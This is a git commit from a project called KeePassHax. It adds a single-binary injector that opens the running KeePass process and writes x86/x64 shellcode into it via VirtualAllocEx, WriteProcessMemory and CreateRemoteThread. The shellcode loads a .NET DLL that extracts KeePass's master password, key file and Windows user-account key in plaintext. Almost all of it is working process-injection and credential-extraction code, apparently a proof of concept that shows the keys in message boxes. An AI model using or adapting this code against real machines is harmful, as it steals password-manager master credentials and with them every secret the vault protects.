Add fully managed injector that works as a single binary

This commit is contained in:
HoLLy 2020-12-11 22:49:48 +01:00
Родитель 795dfc1732
Коммит eae707b162
10 изменённых файлов: 628 добавлений и 6 удалений

Просмотреть файл

@ -0,0 +1,3 @@
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
<ILMerge FullImport='true'/>
</Weavers>

Просмотреть файл

@ -0,0 +1,101 @@
<?xml version="1.0" encoding="utf-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
<!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->
<xs:element name="Weavers">
<xs:complexType>
<xs:all>
<xs:element name="ILMerge" minOccurs="0" maxOccurs="1">
<xs:complexType>
<xs:all>
<xs:element name="IncludeAssemblies" type="xs:string" minOccurs="0" maxOccurs="1">
<xs:annotation>
<xs:documentation>A regular expression matching the assembly names to include in merging.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element name="ExcludeAssemblies" type="xs:string" minOccurs="0" maxOccurs="1">
<xs:annotation>
<xs:documentation>A regular expression matching the assembly names to exclude from merging.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element name="IncludeResources" type="xs:string" minOccurs="0" maxOccurs="1">
<xs:annotation>
<xs:documentation>A regular expression matching the resource names to include in merging.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element name="ExcludeResources" type="xs:string" minOccurs="0" maxOccurs="1">
<xs:annotation>
<xs:documentation>A regular expression matching the resource names to exclude from merging.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element name="HideImportedTypes" type="xs:boolean" minOccurs="0" maxOccurs="1">
<xs:annotation>
<xs:documentation>A switch to control whether the imported types are hidden (made private) or keep their visibility unchanged. Default is 'true'</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element name="NamespacePrefix" type="xs:string" minOccurs="0" maxOccurs="1">
<xs:annotation>
<xs:documentation>A string that is used as prefix for the namespace of the imported types.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element name="FullImport" type="xs:boolean" minOccurs="0" maxOccurs="1">
<xs:annotation>
<xs:documentation>A switch to control whether to import the full assemblies or only the referenced types. Default is 'false'</xs:documentation>
</xs:annotation>
</xs:element>
</xs:all>
<xs:attribute name="IncludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A regular expression matching the assembly names to include in merging.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="ExcludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A regular expression matching the assembly names to exclude from merging.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeResources" type="xs:string">
<xs:annotation>
<xs:documentation>A regular expression matching the resource names to include in merging.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="ExcludeResources" type="xs:string">
<xs:annotation>
<xs:documentation>A regular expression matching the resource names to exclude from merging.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="HideImportedTypes" type="xs:boolean">
<xs:annotation>
<xs:documentation>A switch to control whether the imported types are hidden (made private) or keep their visibility unchanged. Default is 'true'</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="NamespacePrefix" type="xs:string">
<xs:annotation>
<xs:documentation>A string that is used as prefix for the namespace of the imported types.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="FullImport" type="xs:boolean">
<xs:annotation>
<xs:documentation>A switch to control whether to import the full assemblies or only the referenced types. Default is 'false'</xs:documentation>
</xs:annotation>
</xs:attribute>
</xs:complexType>
</xs:element>
</xs:all>
<xs:attribute name="VerifyAssembly" type="xs:boolean">
<xs:annotation>
<xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="VerifyIgnoreCodes" type="xs:string">
<xs:annotation>
<xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="GenerateXsd" type="xs:boolean">
<xs:annotation>
<xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>
</xs:annotation>
</xs:attribute>
</xs:complexType>
</xs:element>
</xs:schema>

Просмотреть файл

@ -0,0 +1,234 @@
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
using Iced.Intel;
namespace KeePassHax.Injector.Injection
{
internal static class CodeInjectionUtils
{
public static int GetExportAddress(IntPtr hProc, IntPtr hMod, string name, bool x86)
{
var dic = GetAllExportAddresses(hProc, hMod, x86);
if (!dic.ContainsKey(name))
throw new Exception($"Could not find function with name {name}.");
return dic[name];
}
public static Dictionary<string, int> GetAllExportAddresses(IntPtr hProc, IntPtr hMod, bool x86)
{
var dic = new Dictionary<string, int>();
int hdr = ReadInt(0x3C);
int exportTableRva = ReadInt(hdr + (x86 ? 0x78 : 0x88));
var exportTable = ReadStruct<ImageExportDirectory>(exportTableRva);
var functions = ReadArray<int>(exportTable.AddressOfFunctions, exportTable.NumberOfFunctions);
var names = ReadArray<int>(exportTable.AddressOfNames, exportTable.NumberOfNames);
var ordinals = ReadArray<ushort>(exportTable.AddressOfNameOrdinals, exportTable.NumberOfFunctions);
for (var i = 0; i < names.Length; i++)
if (names[i] != 0)
dic[ReadCString(names[i])] = functions[ordinals[i]];
return dic;
#region local memory reading functions
byte[] ReadBytes(int offset, int size)
{
var readBuffer = new byte[size];
if (!Native.ReadProcessMemory(hProc, hMod + offset, readBuffer, size, out _))
throw new Exception($"Reading at address 0x{(hMod + offset).ToInt64():X8} failed");
return readBuffer;
}
int ReadInt(int offset) => BitConverter.ToInt32(ReadBytes(offset, 4), 0);
T[] ReadArray<T>(uint offset, uint amount)
{
var bytes = ReadBytes((int) offset, (int) (amount * Marshal.SizeOf<T>()));
var arr = new T[amount];
Buffer.BlockCopy(bytes, 0, arr, 0, bytes.Length);
return arr;
}
T ReadStruct<T>(int offset)
{
var bytes = ReadBytes(offset, Marshal.SizeOf<T>());
var hStructure = Marshal.AllocHGlobal(bytes.Length);
Marshal.Copy(bytes, 0, hStructure, bytes.Length);
var structure = Marshal.PtrToStructure<T>(hStructure);
Marshal.FreeHGlobal(hStructure);
return structure;
}
string ReadCString(int offset)
{
byte b;
var str = new StringBuilder();
for (var i = 0; (b = ReadBytes(offset + i, 1)[0]) != 0; i++)
str.Append((char) b);
return str.ToString();
}
#endregion
}
public static void AddCallStub(InstructionList instructions, IntPtr regAddr, object[] arguments, bool x86,
bool cleanStack = false)
{
if (x86)
{
instructions.Add(Instruction.Create(Code.Mov_r32_imm32, Register.EAX, regAddr.ToInt32()));
AddCallStub(instructions, Register.EAX, arguments, true, cleanStack);
}
else
{
instructions.Add(Instruction.Create(Code.Mov_r64_imm64, Register.RAX, regAddr.ToInt64()));
AddCallStub(instructions, Register.RAX, arguments, false, cleanStack);
}
}
public static void AddCallStub(InstructionList instructions, Register regFun, object[] arguments, bool x86,
bool cleanStack = false)
{
if (x86)
{
// push arguments
for (int i = arguments.Length - 1; i >= 0; i--)
{
instructions.Add(arguments[i] switch
{
IntPtr p => Instruction.Create(Code.Pushd_imm32, p.ToInt32()),
int i32 => Instruction.Create(Code.Pushd_imm32, i32),
byte u8 => Instruction.Create(Code.Pushd_imm8, u8),
Register reg => Instruction.Create(Code.Push_r32, reg),
_ => throw new NotSupportedException(
$"Unsupported parameter type {arguments[i].GetType()} on x86"),
});
}
instructions.Add(Instruction.Create(Code.Call_rm32, regFun));
if (cleanStack && arguments.Length > 0)
instructions.Add(Instruction.Create(Code.Add_rm32_imm8, Register.ESP,
arguments.Length * IntPtr.Size));
}
else
{
// calling convention: https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=vs-2019
const Register tempReg = Register.RAX;
// push the temp register so we can use it
instructions.Add(Instruction.Create(Code.Push_r64, tempReg));
// set arguments
for (int i = arguments.Length - 1; i >= 0; i--)
{
var arg = arguments[i];
var argReg = i switch
{
0 => Register.RCX, 1 => Register.RDX, 2 => Register.R8, 3 => Register.R9, _ => Register.None
};
if (i > 3)
{
// push on the stack, keeping in mind that we pushed the temp reg onto the stack too
if (arg is Register r)
{
instructions.Add(Instruction.Create(Code.Mov_rm64_r64,
new MemoryOperand(Register.RSP, 0x20 + (i - 3) * 8), r));
}
else
{
instructions.Add(Instruction.Create(Code.Mov_r64_imm64, tempReg, ConvertToLong(arg)));
instructions.Add(Instruction.Create(Code.Mov_rm64_r64,
new MemoryOperand(Register.RSP, 0x20 + (i - 3) * 8), tempReg));
}
}
else
{
// move to correct register
if (arg is Register r)
{
instructions.Add(Instruction.Create(Code.Mov_r64_rm64, argReg, r));
}
else
{
instructions.Add(Instruction.Create(Code.Mov_r64_imm64, argReg, ConvertToLong(arg)));
}
}
long ConvertToLong(object o) => o switch
{
IntPtr p => p.ToInt64(),
UIntPtr p => (long) p.ToUInt64(),
_ => Convert.ToInt64(o),
};
}
// pop temp register again
instructions.Add(Instruction.Create(Code.Pop_r64, tempReg));
// call the function
instructions.Add(Instruction.Create(Code.Call_rm64, regFun));
}
}
public static IntPtr RunRemoteCode(IntPtr hProc, InstructionList instructions, bool x86,
bool waitForFinish = false)
{
var cw = new CodeWriterImpl();
var ib = new InstructionBlock(cw, instructions, 0);
if (!BlockEncoder.TryEncode(x86 ? 32 : 64, ib, out string errMsg, out _))
throw new Exception("Error during Iced encode: " + errMsg);
var bytes = cw.ToArray();
var ptrStub = Native.VirtualAllocEx(hProc, IntPtr.Zero, (uint) bytes.Length, 0x1000, 0x40);
Native.WriteProcessMemory(hProc, ptrStub, bytes, (uint) bytes.Length, out _);
var thread = Native.CreateRemoteThread(hProc, IntPtr.Zero, 0u, ptrStub, IntPtr.Zero, 0u, IntPtr.Zero);
// wait for thread to finish
if (waitForFinish)
Native.WaitForSingleObject(thread, uint.MaxValue);
return thread;
}
private sealed class CodeWriterImpl : CodeWriter
{
private readonly List<byte> _allBytes = new List<byte>();
public override void WriteByte(byte value) => _allBytes.Add(value);
public byte[] ToArray() => _allBytes.ToArray();
}
private struct ImageExportDirectory
{
#pragma warning disable 649
public uint Characteristics;
public uint TimeDateStamp;
public ushort MajorVersion;
public ushort MinorVersion;
public uint Name;
public uint Base;
public uint NumberOfFunctions;
public uint NumberOfNames;
public uint AddressOfFunctions;
public uint AddressOfNames;
public uint AddressOfNameOrdinals;
#pragma warning restore 649
}
}
}

Просмотреть файл

@ -0,0 +1,150 @@
using System;
using System.Diagnostics;
using System.Linq;
using System.Text;
using Iced.Intel;
namespace KeePassHax.Injector.Injection
{
internal class FrameworkV2Injector : FrameworkInjector
{
protected override string ClrVersion => "v2.0.50727";
}
internal abstract class FrameworkInjector
{
protected abstract string ClrVersion { get; }
public Action<string> Log { private get; set; } = s => { };
public void Inject(int pid, in InjectionArguments args, bool x86)
{
var hProc = Native.OpenProcess(Native.ProcessAccessFlags.AllForDllInject, false, pid);
if (hProc == IntPtr.Zero)
throw new Exception("Couldn't open process");
Log("Handle: " + hProc.ToInt32().ToString("X8"));
var bindToRuntimeAddr = GetCorBindToRuntimeExAddress(pid, hProc, x86);
Log("CurBindToRuntimeEx: " + bindToRuntimeAddr.ToInt64().ToString("X8"));
var instructions = CreateStub(hProc, args.Path, args.TypeFull, args.Method, args.Argument, bindToRuntimeAddr, x86, ClrVersion);
Log("Instructions to be injected:\n" + string.Join("\n", instructions));
var hThread = CodeInjectionUtils.RunRemoteCode(hProc, instructions, x86);
Log("Thread handle: " + hThread.ToInt32().ToString("X8"));
// TODO: option to wait until injected function returns?
/*
var success = Native.GetExitCodeThread(hThread, out IntPtr exitCode);
Log("GetExitCode success: " + success);
Log("Exit code: " + exitCode.ToInt32().ToString("X8"));
*/
Native.CloseHandle(hProc);
}
private static IntPtr GetCorBindToRuntimeExAddress(int pid, IntPtr hProc, bool x86)
{
var proc = Process.GetProcessById(pid);
var mod = proc.Modules.OfType<ProcessModule>().FirstOrDefault(m => m.ModuleName.Equals("mscoree.dll", StringComparison.InvariantCultureIgnoreCase));
if (mod is null)
throw new Exception("Couldn't find MSCOREE.DLL, arch mismatch?");
int fnAddr = CodeInjectionUtils.GetExportAddress(hProc, mod.BaseAddress, "CorBindToRuntimeEx", x86);
return mod.BaseAddress + fnAddr;
}
private InstructionList CreateStub(IntPtr hProc, string asmPath, string typeFullName, string methodName, string args, IntPtr fnAddr, bool x86, string clrVersion)
{
const string buildFlavor = "wks"; // WorkStation
var clsidClrRuntimeHost = new Guid(0x90F1A06E, 0x7712, 0x4762, 0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02);
var iidIclrRuntimeHost = new Guid(0x90F1A06C, 0x7712, 0x4762, 0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02);
var ppv = Alloc(IntPtr.Size);
var riid = AllocBytes(iidIclrRuntimeHost.ToByteArray());
var rcslid = AllocBytes(clsidClrRuntimeHost.ToByteArray());
var pwszBuildFlavor = AllocString(buildFlavor);
var pwszVersion = AllocString(clrVersion);
var pReturnValue = Alloc(4);
var pwzArgument = AllocString(args);
var pwzMethodName = AllocString(methodName);
var pwzTypeName = AllocString(typeFullName);
var pwzAssemblyPath = AllocString(asmPath);
var instructions = new InstructionList();
void AddCallR(Register r, params object[] callArgs) => CodeInjectionUtils.AddCallStub(instructions, r, callArgs, x86);
void AddCallP(IntPtr fn, params object[] callArgs) => CodeInjectionUtils.AddCallStub(instructions, fn, callArgs, x86);
if (x86) {
// call CorBindToRuntimeEx
AddCallP(fnAddr, pwszVersion, pwszBuildFlavor, (byte)0, rcslid, riid, ppv);
// call ICLRRuntimeHost::Start
instructions.Add(Instruction.Create(Code.Mov_r32_rm32, Register.EDX, new MemoryOperand(Register.None, ppv.ToInt32())));
instructions.Add(Instruction.Create(Code.Mov_r32_rm32, Register.EAX, new MemoryOperand(Register.EDX)));
instructions.Add(Instruction.Create(Code.Mov_r32_rm32, Register.EAX, new MemoryOperand(Register.EAX, 0x0C)));
AddCallR(Register.EAX, Register.EDX);
// call ICLRRuntimeHost::ExecuteInDefaultAppDomain
instructions.Add(Instruction.Create(Code.Mov_r32_rm32, Register.EDX, new MemoryOperand(Register.None, ppv.ToInt32())));
instructions.Add(Instruction.Create(Code.Mov_r32_rm32, Register.EAX, new MemoryOperand(Register.EDX)));
instructions.Add(Instruction.Create(Code.Mov_r32_rm32, Register.EAX, new MemoryOperand(Register.EAX, 0x2C)));
AddCallR(Register.EAX, Register.EDX, pwzAssemblyPath, pwzTypeName, pwzMethodName, pwzArgument, pReturnValue);
instructions.Add(Instruction.Create(Code.Retnd));
} else {
const int maxStackIndex = 3;
const int stackOffset = 0x20;
instructions.Add(Instruction.Create(Code.Sub_rm64_imm8, Register.RSP, stackOffset + maxStackIndex * 8));
// call CorBindToRuntimeEx
AddCallP(fnAddr, pwszVersion, pwszBuildFlavor, 0, rcslid, riid, ppv);
// call pClrHost->Start();
instructions.Add(Instruction.Create(Code.Mov_r64_imm64, Register.RCX, ppv.ToInt64()));
instructions.Add(Instruction.Create(Code.Mov_r64_rm64, Register.RCX, new MemoryOperand(Register.RCX)));
instructions.Add(Instruction.Create(Code.Mov_r64_rm64, Register.RAX, new MemoryOperand(Register.RCX)));
instructions.Add(Instruction.Create(Code.Mov_r64_rm64, Register.RDX, new MemoryOperand(Register.RAX, 0x18)));
AddCallR(Register.RDX, Register.RCX);
// call pClrHost->ExecuteInDefaultAppDomain()
instructions.Add(Instruction.Create(Code.Mov_r64_imm64, Register.RCX, ppv.ToInt64()));
instructions.Add(Instruction.Create(Code.Mov_r64_rm64, Register.RCX, new MemoryOperand(Register.RCX)));
instructions.Add(Instruction.Create(Code.Mov_r64_rm64, Register.RAX, new MemoryOperand(Register.RCX)));
instructions.Add(Instruction.Create(Code.Mov_r64_rm64, Register.RAX, new MemoryOperand(Register.RAX, 0x58)));
AddCallR(Register.RAX, Register.RCX, pwzAssemblyPath, pwzTypeName, pwzMethodName, pwzArgument, pReturnValue);
instructions.Add(Instruction.Create(Code.Add_rm64_imm8, Register.RSP, stackOffset + maxStackIndex * 8));
instructions.Add(Instruction.Create(Code.Retnq));
}
return instructions;
IntPtr Alloc(int size, int protection = 0x04) => Native.VirtualAllocEx(hProc, IntPtr.Zero, (uint)size, 0x1000, protection);
void WriteBytes(IntPtr address, byte[] b) => Native.WriteProcessMemory(hProc, address, b, (uint)b.Length, out _);
void WriteString(IntPtr address, string str) => WriteBytes(address, new UnicodeEncoding().GetBytes(str));
IntPtr AllocString(string str)
{
if (str is null) return IntPtr.Zero;
var pString = Alloc(str.Length * 2 + 2);
WriteString(pString, str);
return pString;
}
IntPtr AllocBytes(byte[] buffer)
{
var pBuffer = Alloc(buffer.Length);
WriteBytes(pBuffer, buffer);
return pBuffer;
}
}
}
}

Просмотреть файл

@ -0,0 +1,13 @@
namespace KeePassHax.Injector.Injection
{
internal struct InjectionArguments
{
public string Path;
public string Namespace;
public string Type;
public string Method;
public string Argument;
public string TypeFull => Namespace is null ? Type : Namespace + "." + Type;
}
}

Просмотреть файл

@ -0,0 +1,51 @@
using System;
using System.Runtime.InteropServices;
namespace KeePassHax.Injector.Injection
{
internal static class Native
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, int flAllocationType, int flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [In] [Out] byte[] buffer, uint size, out uint lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool GetExitCodeThread(IntPtr hThread, out IntPtr lpExitCode);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[Flags]
public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF,
AllForDllInject = CreateThread | QueryInformation | VirtualMemoryOperation | VirtualMemoryRead | VirtualMemoryWrite,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VirtualMemoryOperation = 0x00000008,
VirtualMemoryRead = 0x00000010,
VirtualMemoryWrite = 0x00000020,
DuplicateHandle = 0x00000040,
CreateProcess = 0x000000080,
SetQuota = 0x00000100,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
QueryLimitedInformation = 0x00001000,
Synchronize = 0x00100000
}
}
}

Просмотреть файл

@ -0,0 +1,18 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net461</TargetFramework>
<LangVersion>8</LangVersion>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="Iced" Version="1.9.0" />
<PackageReference Include="ILMerge.Fody" Version="1.14.0" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\KeePassHax\KeePassHax.csproj" />
</ItemGroup>
</Project>

Просмотреть файл

@ -0,0 +1,47 @@
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using KeePassHax.Injector.Injection;
namespace KeePassHax.Injector
{
internal static class Program
{
private const string DllPath = @"D:\Projects\DotNet\KeePassHax\KeePassHax\bin\Debug\net461\KeePassHax.dll";
public static void Main(string[] args)
{
try
{
var newPath = CopySelfToTemp();
Console.WriteLine("Will inject dll from location " + newPath);
var proc = Process.GetProcessesByName("KeePass").Single();
var injector = new FrameworkV2Injector {Log = Console.WriteLine};
injector.Inject(proc.Id, new InjectionArguments
{
Path = newPath,
Namespace = nameof(KeePassHax),
Type = nameof(KeePassHax.Program),
Method = nameof(KeePassHax.Program.Main),
Argument = "",
}, false);
}
catch (Exception e)
{
Console.WriteLine(e);
}
}
private static string CopySelfToTemp()
{
var currentPath = typeof(KeePassHax.Program).Assembly.Location;
var newPath = Path.Combine(Path.GetTempPath(), Guid.NewGuid() + ".dll");
File.Copy(currentPath, newPath);
return newPath;
}
}
}

Просмотреть файл

@ -5,6 +5,8 @@ VisualStudioVersion = 15.0.27428.2027
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "KeePassHax", "KeePassHax\KeePassHax.csproj", "{CBE2DB6E-3640-4194-8782-342A6C24C275}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "KeePassHax.Injector", "KeePassHax.Injector\KeePassHax.Injector.csproj", "{8B3E6634-0D74-48AF-8771-5F9D30C5C08A}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
@ -15,6 +17,10 @@ Global
{CBE2DB6E-3640-4194-8782-342A6C24C275}.Debug|Any CPU.Build.0 = Debug|Any CPU
{CBE2DB6E-3640-4194-8782-342A6C24C275}.Release|Any CPU.ActiveCfg = Release|Any CPU
{CBE2DB6E-3640-4194-8782-342A6C24C275}.Release|Any CPU.Build.0 = Release|Any CPU
{8B3E6634-0D74-48AF-8771-5F9D30C5C08A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{8B3E6634-0D74-48AF-8771-5F9D30C5C08A}.Debug|Any CPU.Build.0 = Debug|Any CPU
{8B3E6634-0D74-48AF-8771-5F9D30C5C08A}.Release|Any CPU.ActiveCfg = Release|Any CPU
{8B3E6634-0D74-48AF-8771-5F9D30C5C08A}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE

Просмотреть файл

@ -28,8 +28,8 @@ namespace KeePassHax
MessageBox.Show("Loading from injected DLL!", "Test");
// Try to get the entry assembly, and find the Program class
Assembly asm = Assembly.GetEntryAssembly();
Type programType = asm.EntryPoint.DeclaringType;
var asm = Assembly.GetEntryAssembly();
var programType = asm.EntryPoint.DeclaringType;
// Get the main form
var mainForm = programType.GetFieldStatic("m_formMain");
@ -42,8 +42,7 @@ namespace KeePassHax
// Get all items that make up the CompositeKey
var userKeys = (IList)compositeKey.GetFieldInstance("m_vUserKeys");
foreach (object key in userKeys) {
foreach (var key in userKeys) {
// Do something different depending on what kind of user key we get
switch (key.GetType().Name) {
case "KcpPassword":
@ -51,7 +50,7 @@ namespace KeePassHax
var passProt = key.GetFieldInstance("m_psPassword");
// Invoke the ReadString function, which returns a plaintext string
string cleartext = (string)passProt.RunMethodInstance("ReadString");
var cleartext = (string)passProt.RunMethodInstance("ReadString");
MessageBox.Show("Extracted password:\n" + cleartext, key.GetType().Name);
break;
case "KcpKeyFile":
@ -64,7 +63,7 @@ namespace KeePassHax
// So technically, we don't even need to extract this one from the current process, since it's accessible by any program
// running in this user's context. But just for good measure (and to keep code simple), I'll extract this from memory too.
var userAccData = key.GetFieldInstance("m_pbKeyData");
byte[] userAccDataClear = (byte[])userAccData.RunMethodInstance("ReadData");
var userAccDataClear = (byte[])userAccData.RunMethodInstance("ReadData");
MessageBox.Show("Extracted UserAccount data:\n" + string.Join("-", userAccDataClear.Select(x => x.ToString("X2"))), key.GetType().Name);
break;
}